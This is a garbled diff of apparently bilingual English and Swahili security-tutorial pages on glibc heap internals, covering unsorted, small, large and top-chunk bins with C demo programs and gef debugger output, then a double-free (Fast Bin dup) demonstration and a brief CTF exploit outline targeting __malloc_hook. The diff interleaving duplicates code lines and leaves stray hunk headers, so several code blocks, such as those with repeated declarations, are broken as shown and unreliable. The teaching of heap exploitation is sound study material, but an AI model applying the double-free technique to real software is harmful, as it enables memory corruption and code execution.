Kumbuka kwamba ikiwa kipande kikubwa kinagawanywa katika nusu 2 na kilichobaki ni kikubwa kuliko MINSIZE, kitawekwa tena katika bin isiyo na mpangilio.
So, the unsorted bin is a way to speed up memory allocation by quickly reusing recently freed memory and reducing the need for time-consuming searches and merges.
Hivyo, bin isiyo na mpangilio ni njia ya kuongeza kasi ya ugawaji wa kumbukumbu kwa kurudi haraka kutumia kumbukumbu iliyokuwa imeachiliwa hivi karibuni na kupunguza hitaji la utafutaji na kuunganishwa kwa muda mrefu.
> [!CAUTION]
> Note that even if chunks are of different categories, if an available chunk is colliding with another available chunk (even if they belong originally to different bins), they will be merged.
> Kumbuka kwamba hata kama vipande ni vya makundi tofauti, ikiwa kipande kinachopatikana kinagongana na kipande kingine kinachopatikana (hata kama vilikuwa na asili tofauti katika bins tofauti), vitaundwa pamoja.
<details>
<summary>Add a unsorted chunk example</summary>
<summary>Ongeza mfano wa kipande kisichopangwa</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[9];
int i;
char *chunks[9];
int i;
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
return 0;
return 0;
}
```
Kumbuka jinsi tunavyopanga na kuachilia vipande 9 vya saizi sawa ili **kujaa tcache** na ile ya nane inahifadhiwa katika bin isiyo na mpangilio kwa sababu ni **kubwa sana kwa fastbin** na ile ya tisa haijaachiliwa hivyo ile ya tisa na ya nane **hazijachanganywa na kipande cha juu**.
Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the nineth one isn't freed so the nineth and the eighth **don't get merged with the top chunk**.
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. Then with `gef` you can see that the tcache bin is full and one chunk is in the unsorted bin:
Jumuisha na urekebishe na breakpoint katika opcode ya `ret` kutoka kwa kazi ya `main`. Kisha kwa kutumia `gef` unaweza kuona kwamba bin ya tcache imejaa na kipande kimoja kiko katika bin isiyo na mpangilio:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -319,23 +302,21 @@ Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ───────────────────────────────────────────────────────────────────────
[+] unsorted_bins[0]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in unsorted bin.
```
</details>
### Small Bins
Small bins are faster than large bins but slower than fast bins.
Small bins ni haraka zaidi kuliko large bins lakini polepole zaidi kuliko fast bins.
Each bin of the 62 will have **chunks of the same size**: 16, 24, ... (with a max size of 504 bytes in 32bits and 1024 in 64bits). This helps in the speed on finding the bin where a space should be allocated and inserting and removing of entries on these lists.
Kila bin ya 62 itakuwa na **chunks za saizi sawa**: 16, 24, ... (ikiwa na saizi ya juu ya 504 bytes katika 32bits na 1024 katika 64bits). Hii inasaidia katika kasi ya kutafuta bin ambapo nafasi inapaswa kutolewa na kuingiza na kuondoa entries kwenye orodha hizi.
This is how the size of the small bin is calculated according to the index of the bin:
- Smallest size: 2\*4\*index (e.g. index 5 -> 40)
- Biggest size: 2\*8\*index (e.g. index 5 -> 80)
Hii ndiyo jinsi saizi ya small bin inavyokadiriwa kulingana na index ya bin:
- Saizi ndogo zaidi: 2\*4\*index (mfano: index 5 -> 40)
- Saizi kubwa zaidi: 2\*8\*index (mfano: index 5 -> 80)
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
#define NSMALLBINS 64
@ -344,58 +325,52 @@ This is how the size of the small bin is calculated according to the index of th
#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)
#define in_smallbin_range(sz) \
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
#define smallbin_index(sz) \
((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
+ SMALLBIN_CORRECTION)
((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
+ SMALLBIN_CORRECTION)
```
Function to choose between small and large bins:
Function ya kuchagua kati ya bins ndogo na kubwa:
```c
#define bin_index(sz) \
((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))
((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))
```
<details>
<summary>Add a small chunk example</summary>
<summary>Ongeza mfano wa kipande kidogo</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[10];
int i;
char *chunks[10];
int i;
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
chunks[9] = malloc(0x110);
chunks[9] = malloc(0x110);
return 0;
return 0;
}
```
Kumbuka jinsi tunavyopanga na kuachilia vipande 9 vya saizi sawa ili **kujaa tcache** na ile ya nane inahifadhiwa katika bin isiyo na mpangilio kwa sababu ni **kubwa sana kwa fastbin** na ile ya tisa haijaachiliwa hivyo ile ya tisa na ya nane **hazijachanganywa na kipande cha juu**. Kisha tunapanga kipande kikubwa cha 0x110 ambacho kinafanya **kipande kilichoko katika bin isiyo na mpangilio kiende kwenye bin ndogo**.
Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the ninth one isn't freed so the ninth and the eights **don't get merged with the top chunk**. Then we allocate a bigger chunk of 0x110 which makes **the chunk in the unsorted bin goes to the small bin**.
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the small bin:
Kusanya na kufanyia debug na breakpoint katika opcode ya `ret` kutoka kwa kazi ya `main`. Kisha kwa kutumia `gef` unaweza kuona kwamba bin ya tcache imejaa na kipande kimoja kiko katika bin ndogo:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -412,96 +387,90 @@ Fastbins[idx=6, size=0x80] 0x00
[+] Found 0 chunks in unsorted bin.
──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
[+] small_bins[16]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in 1 small non-empty bins.
```
</details>
### Large bins
Unlike small bins, which manage chunks of fixed sizes, each **large bin handle a range of chunk sizes**. This is more flexible, allowing the system to accommodate **various sizes** without needing a separate bin for each size.
Kinyume na bins ndogo, ambazo husimamia vipande vya ukubwa thabiti, kila **large bin inashughulikia anuwai ya ukubwa wa vipande**. Hii ni rahisi zaidi, ikiruhusu mfumo kubeba **ukubwa mbalimbali** bila kuhitaji bin tofauti kwa kila ukubwa.
In a memory allocator, large bins start where small bins end. The ranges for large bins grow progressively larger, meaning the first bin might cover chunks from 512 to 576 bytes, while the next covers 576 to 640 bytes. This pattern continues, with the largest bin containing all chunks above 1MB.
Katika mtoa huduma wa kumbukumbu, large bins huanza pale bins ndogo zinapomalizika. Mipaka ya large bins inakuwa kubwa zaidi kwa hatua, ikimaanisha bin ya kwanza inaweza kufunika vipande kutoka 512 hadi 576 bytes, wakati inayofuata inafunika 576 hadi 640 bytes. Mwelekeo huu unaendelea, huku bin kubwa zaidi ikijumuisha vipande vyote vya juu ya 1MB.
Large bins are slower to operate compared to small bins because they must **sort and search through a list of varying chunk sizes to find the best fit** for an allocation. When a chunk is inserted into a large bin, it has to be sorted, and when memory is allocated, the system must find the right chunk. This extra work makes them **slower**, but since large allocations are less common than small ones, it's an acceptable trade-off.
Large bins ni polepole kufanya kazi ikilinganishwa na bins ndogo kwa sababu lazima **zipange na kutafuta kupitia orodha ya ukubwa wa vipande vinavyobadilika ili kupata bora zaidi** kwa ajili ya ugawaji. Wakati kipande kinapowekwa kwenye large bin, kinapaswa kupangwa, na wakati kumbukumbu inatolewa, mfumo lazima upate kipande sahihi. Kazi hii ya ziada inawafanya **kuwa polepole**, lakini kwa kuwa ugawaji mkubwa ni nadra zaidi kuliko mdogo, ni kubadilishana kukubalika.
There are:
Kuna:
- 32 bins of 64B range (collide with small bins)
- 16 bins of 512B range (collide with small bins)
- 8bins of 4096B range (part collide with small bins)
- 4bins of 32768B range
- 2bins of 262144B range
- 1bin for remaining sizes
- 32 bins za 64B anuwai (zinagongana na bins ndogo)
- 16 bins za 512B anuwai (zinagongana na bins ndogo)
- 8 bins za 4096B anuwai (sehemu zinagongana na bins ndogo)
- 4 bins za 32768B anuwai
- 2 bins za 262144B anuwai
- 1 bin kwa ukubwa uliobaki
<details>
<summary>Large bin sizes code</summary>
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
#define largebin_index_32(sz) \
(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
#define largebin_index_32_big(sz) \
(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
// XXX It remains to be seen whether it is good to keep the widths of
// XXX the buckets the same or whether it should be scaled by a factor
// XXX of two as well.
#define largebin_index_64(sz) \
(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
#define largebin_index(sz) \
(SIZE_SZ == 8 ? largebin_index_64 (sz) \
: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \
: largebin_index_32 (sz))
(SIZE_SZ == 8 ? largebin_index_64 (sz) \
: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \
: largebin_index_32 (sz))
```
</details>
<details>
<summary>Add a large chunk example</summary>
<summary>Ongeza mfano wa kipande kikubwa</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[2];
char *chunks[2];
chunks[0] = malloc(0x1500);
chunks[1] = malloc(0x1500);
free(chunks[0]);
chunks[0] = malloc(0x2000);
chunks[0] = malloc(0x1500);
chunks[1] = malloc(0x1500);
free(chunks[0]);
chunks[0] = malloc(0x2000);
return 0;
return 0;
}
```
2 allocations kubwa zinafanywa, kisha moja inachukuliwa (ikiweka katika bin isiyo na mpangilio) na allocation kubwa zaidi inafanywa (ikihamasisha ile iliyochukuliwa kutoka bin isiyo na mpangilio hadi bin kubwa).
2 large allocations are performed, then on is freed (putting it in the unsorted bin) and a bigger allocation in made (moving the free one from the usorted bin ro the large bin).
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the large bin:
Ili kuunda na ku-debug, weka breakpoint katika opcode ya `ret` kutoka kwa kazi ya `main`. Kisha kwa kutumia `gef` unaweza kuona kwamba bin ya tcache imejaa na kipande kimoja kiko katika bin kubwa:
```bash
gef➤ heap bin
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -520,117 +489,108 @@ Fastbins[idx=6, size=0x80] 0x00
[+] Found 0 chunks in 0 small non-empty bins.
──────────────────────────────────────────────────────────────────────── Large Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
[+] large_bins[100]: fw=0xaaaaaaac1290, bk=0xaaaaaaac1290
→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in 1 large non-empty bins.
```
</details>
### Top Chunk
### Sehemu Kuu
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
/*
Top
Top
The top-most available chunk (i.e., the one bordering the end of
available memory) is treated specially. It is never included in
any bin, is used only if no other chunk is available, and is
released back to the system if it is very large (see
M_TRIM_THRESHOLD). Because top initially
points to its own bin with initial zero size, thus forcing
extension on the first malloc request, we avoid having any special
code in malloc to check whether it even exists yet. But we still
need to do so when getting memory from system, so we make
initial_top treat the bin as a legal but unusable chunk during the
interval between initialization and the first call to
sysmalloc. (This is somewhat delicate, since it relies on
the 2 preceding words to be zero during this interval as well.)
*/
The top-most available chunk (i.e., the one bordering the end of
available memory) is treated specially. It is never included in
any bin, is used only if no other chunk is available, and is
released back to the system if it is very large (see
M_TRIM_THRESHOLD). Because top initially
points to its own bin with initial zero size, thus forcing
extension on the first malloc request, we avoid having any special
code in malloc to check whether it even exists yet. But we still
need to do so when getting memory from system, so we make
initial_top treat the bin as a legal but unusable chunk during the
interval between initialization and the first call to
sysmalloc. (This is somewhat delicate, since it relies on
the 2 preceding words to be zero during this interval as well.)
*/
/* Conveniently, the unsorted bin can be used as dummy top on first call */
#define initial_top(M) (unsorted_chunks (M))
```
Kimsingi, hii ni sehemu inayojumuisha kila kipande kilichopo kwenye heap kwa sasa. Wakati malloc inafanywa, ikiwa hakuna kipande chochote cha bure kinachopatikana kutumia, kipande hiki cha juu kitapunguza ukubwa wake kutoa nafasi inayohitajika.\
Pointer kwa Top Chunk inahifadhiwa katika muundo wa `malloc_state`.
Basically, this is a chunk containing all the currently available heap. When a malloc is performed, if there isn't any available free chunk to use, this top chunk will be reducing its size giving the necessary space.\
The pointer to the Top Chunk is stored in the `malloc_state` struct.
Moreover, at the beginning, it's possible to use the unsorted chunk as the top chunk.
Zaidi ya hayo, mwanzoni, inawezekana kutumia kipande kisichopangwa kama Top Chunk.
<details>
<summary>Observe the Top Chunk example</summary>
<summary>Angalia mfano wa Top Chunk</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
return 0;
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
return 0;
}
```
After compiling and debugging it with a break point in the `ret` opcode of `main` I saw that the malloc returned the address `0xaaaaaaac12a0` and these are the chunks:
Baada ya kukusanya na kufanyia debug na alama ya kuvunja katika opcode ya `ret` ya `main` niliona kwamba malloc ilirudisha anwani `0xaaaaaaac12a0` na hizi ndizo chunks:
```bash
gef➤ heap chunks
Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........]
[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........]
Chunk(addr=0xaaaaaaac12c0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c]
[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c]
Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
```
Where it can be seen that the top chunk is at address `0xaaaaaaac1ae0`. This is no surprise because the last allocated chunk was in `0xaaaaaaac12a0` with a size of `0x410` and `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` .\
It's also possible to see the length of the Top chunk on its chunk header:
Inaweza kuonekana kwamba kipande cha juu kiko kwenye anwani `0xaaaaaaac1ae0`. Hii si ajabu kwa sababu kipande cha mwisho kilichotolewa kilikuwa kwenye `0xaaaaaaac12a0` chenye ukubwa wa `0x410` na `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`.\
Pia inawezekana kuona urefu wa kipande cha Juu kwenye kichwa chake:
```bash
gef➤ x/8wx 0xaaaaaaac1ae0 - 16
0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000
0xaaaaaaac1ae0: 0x00000000 0x00000000 0x00000000 0x00000000
```
</details>
### Last Remainder
### Kumbukumbu ya Mwisho
When malloc is used and a chunk is divided (from the unsorted bin or from the top chunk for example), the chunk created from the rest of the divided chunk is called Last Remainder and it's pointer is stored in the `malloc_state` struct.
Wakati malloc inatumika na kipande kinagawanywa (kutoka kwenye bin isiyo na mpangilio au kutoka kwenye kipande cha juu kwa mfano), kipande kilichoundwa kutoka kwa sehemu iliyogawanywa kinaitwa Kumbukumbu ya Mwisho na kiashiria chake kinahifadhiwa katika muundo wa `malloc_state`.
## Allocation Flow
## Mchakato wa Ugawaji
Check out:
Angalia:
{{#ref}}
heap-memory-functions/malloc-and-sysmalloc.md
{{#endref}}
## Free Flow
## Mchakato wa Kuachilia
Check out:
Angalia:
{{#ref}}
heap-memory-functions/free.md
{{#endref}}
## Heap Functions Security Checks
## Ukaguzi wa Usalama wa Fungsi za Heap
Check the security checks performed by heavily used functions in heap in:
Angalia ukaguzi wa usalama unaofanywa na fungsi zinazotumika sana katika heap katika:
{{#ref}}
heap-memory-functions/heap-functions-security-checks.md
{{#endref}}
## References
## Marejeleo
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)

View File

@ -4,89 +4,87 @@
## Basic Information
If you free a block of memory more than once, it can mess up the allocator's data and open the door to attacks. Here's how it happens: when you free a block of memory, it goes back into a list of free chunks (e.g. the "fast bin"). If you free the same block twice in a row, the allocator detects this and throws an error. But if you **free another chunk in between, the double-free check is bypassed**, causing corruption.
Ikiwa unachilia block ya kumbukumbu zaidi ya mara moja, inaweza kuharibu data ya allocator na kufungua mlango wa mashambulizi. Hapa kuna jinsi inavyotokea: unapochilia block ya kumbukumbu, inarudi kwenye orodha ya vipande vya bure (kwa mfano, "fast bin"). Ikiwa unachilia block ile ile mara mbili mfululizo, allocator inagundua hili na kutupa kosa. Lakini ikiwa unachilia **kipande kingine katikati, ukaguzi wa double-free unakwepwa**, na kusababisha uharibifu.
Now, when you ask for new memory (using `malloc`), the allocator might give you a **block that's been freed twice**. This can lead to two different pointers pointing to the same memory location. If an attacker controls one of those pointers, they can change the contents of that memory, which can cause security issues or even allow them to execute code.
Example:
Sasa, unapofanya ombi la kumbukumbu mpya (ukitumia `malloc`), allocator inaweza kukupa **block ambayo imeshachiliwa mara mbili**. Hii inaweza kusababisha viashiria viwili tofauti kuashiria eneo moja la kumbukumbu. Ikiwa mshambuliaji anadhibiti mmoja wa viashiria hivyo, wanaweza kubadilisha maudhui ya kumbukumbu hiyo, ambayo inaweza kusababisha masuala ya usalama au hata kuwapa uwezo wa kutekeleza msimbo.
Mfano:
```c
#include <stdio.h>
#include <stdlib.h>
int main() {
// Allocate memory for three chunks
char *a = (char *)malloc(10);
char *b = (char *)malloc(10);
char *c = (char *)malloc(10);
char *d = (char *)malloc(10);
char *e = (char *)malloc(10);
char *f = (char *)malloc(10);
char *g = (char *)malloc(10);
char *h = (char *)malloc(10);
char *i = (char *)malloc(10);
// Allocate memory for three chunks
char *a = (char *)malloc(10);
char *b = (char *)malloc(10);
char *c = (char *)malloc(10);
char *d = (char *)malloc(10);
char *e = (char *)malloc(10);
char *f = (char *)malloc(10);
char *g = (char *)malloc(10);
char *h = (char *)malloc(10);
char *i = (char *)malloc(10);
// Print initial memory addresses
printf("Initial allocations:\n");
printf("a: %p\n", (void *)a);
printf("b: %p\n", (void *)b);
printf("c: %p\n", (void *)c);
printf("d: %p\n", (void *)d);
printf("e: %p\n", (void *)e);
printf("f: %p\n", (void *)f);
printf("g: %p\n", (void *)g);
printf("h: %p\n", (void *)h);
printf("i: %p\n", (void *)i);
// Print initial memory addresses
printf("Initial allocations:\n");
printf("a: %p\n", (void *)a);
printf("b: %p\n", (void *)b);
printf("c: %p\n", (void *)c);
printf("d: %p\n", (void *)d);
printf("e: %p\n", (void *)e);
printf("f: %p\n", (void *)f);
printf("g: %p\n", (void *)g);
printf("h: %p\n", (void *)h);
printf("i: %p\n", (void *)i);
// Fill tcache
free(a);
free(b);
free(c);
free(d);
free(e);
free(f);
free(g);
// Fill tcache
free(a);
free(b);
free(c);
free(d);
free(e);
free(f);
free(g);
// Introduce double-free vulnerability in fast bin
free(h);
free(i);
free(h);
// Introduce double-free vulnerability in fast bin
free(h);
free(i);
free(h);
// Reallocate memory and print the addresses
char *a1 = (char *)malloc(10);
char *b1 = (char *)malloc(10);
char *c1 = (char *)malloc(10);
char *d1 = (char *)malloc(10);
char *e1 = (char *)malloc(10);
char *f1 = (char *)malloc(10);
char *g1 = (char *)malloc(10);
char *h1 = (char *)malloc(10);
char *i1 = (char *)malloc(10);
char *i2 = (char *)malloc(10);
// Reallocate memory and print the addresses
char *a1 = (char *)malloc(10);
char *b1 = (char *)malloc(10);
char *c1 = (char *)malloc(10);
char *d1 = (char *)malloc(10);
char *e1 = (char *)malloc(10);
char *f1 = (char *)malloc(10);
char *g1 = (char *)malloc(10);
char *h1 = (char *)malloc(10);
char *i1 = (char *)malloc(10);
char *i2 = (char *)malloc(10);
// Print initial memory addresses
printf("After reallocations:\n");
printf("a1: %p\n", (void *)a1);
printf("b1: %p\n", (void *)b1);
printf("c1: %p\n", (void *)c1);
printf("d1: %p\n", (void *)d1);
printf("e1: %p\n", (void *)e1);
printf("f1: %p\n", (void *)f1);
printf("g1: %p\n", (void *)g1);
printf("h1: %p\n", (void *)h1);
printf("i1: %p\n", (void *)i1);
printf("i2: %p\n", (void *)i2);
// Print initial memory addresses
printf("After reallocations:\n");
printf("a1: %p\n", (void *)a1);
printf("b1: %p\n", (void *)b1);
printf("c1: %p\n", (void *)c1);
printf("d1: %p\n", (void *)d1);
printf("e1: %p\n", (void *)e1);
printf("f1: %p\n", (void *)f1);
printf("g1: %p\n", (void *)g1);
printf("h1: %p\n", (void *)h1);
printf("i1: %p\n", (void *)i1);
printf("i2: %p\n", (void *)i2);
return 0;
return 0;
}
```
Katika mfano huu, baada ya kujaza tcache na vipande vingi vilivyofutwa (7), msimbo **unafungua kipande `h`, kisha kipande `i`, na kisha `h` tena, na kusababisha double free** (pia inajulikana kama Fast Bin dup). Hii inafungua uwezekano wa kupokea anwani za kumbukumbu zinazovuka wakati wa reallocating, ikimaanisha viashiria viwili au zaidi vinaweza kuelekeza kwenye eneo moja la kumbukumbu. Kupanua data kupitia kiashiria kimoja kunaweza kuathiri kingine, na kuunda hatari kubwa ya usalama na uwezekano wa unyakuzi.
In this example, after filling the tcache with several freed chunks (7), the code **frees chunk `h`, then chunk `i`, and then `h` again, causing a double free** (also known as Fast Bin dup). This opens the possibility of receiving overlapping memory addresses when reallocating, meaning two or more pointers can point to the same memory location. Manipulating data through one pointer can then affect the other, creating a critical security risk and potential for exploitation.
Ukitekeleza, angalia jinsi **`i1` na `i2` zilipata anwani sawa**:
Executing it, note how **`i1` and `i2` got the same address**:
<pre><code>Initial allocations:
<pre><code>Allocations za awali:
a: 0xaaab0f0c22a0
b: 0xaaab0f0c22c0
c: 0xaaab0f0c22e0
@ -96,7 +94,7 @@ f: 0xaaab0f0c2340
g: 0xaaab0f0c2360
h: 0xaaab0f0c2380
i: 0xaaab0f0c23a0
After reallocations:
Baada ya reallocations:
a1: 0xaaab0f0c2360
b1: 0xaaab0f0c2340
c1: 0xaaab0f0c2320
@ -109,23 +107,23 @@ h1: 0xaaab0f0c2380
</strong><strong>i2: 0xaaab0f0c23a0
</strong></code></pre>
## Examples
## Mifano
- [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/)
- We can only allocate Fast-Bin-sized chunks except for size `0x70`, which prevents the usual `__malloc_hook` overwrite.
- Instead, we use PIE addresses that start with `0x56` as a target for Fast Bin dup (1/2 chance).
- One place where PIE addresses are stored is in `main_arena`, which is inside Glibc and near `__malloc_hook`
- We target a specific offset of `main_arena` to allocate a chunk there and continue allocating chunks until reaching `__malloc_hook` to get code execution.
- Tunaweza tu kugawa vipande vya Fast-Bin isipokuwa kwa saizi `0x70`, ambayo inazuia kawaida `__malloc_hook` overwrite.
- Badala yake, tunatumia anwani za PIE ambazo huanza na `0x56` kama lengo la Fast Bin dup (1/2 nafasi).
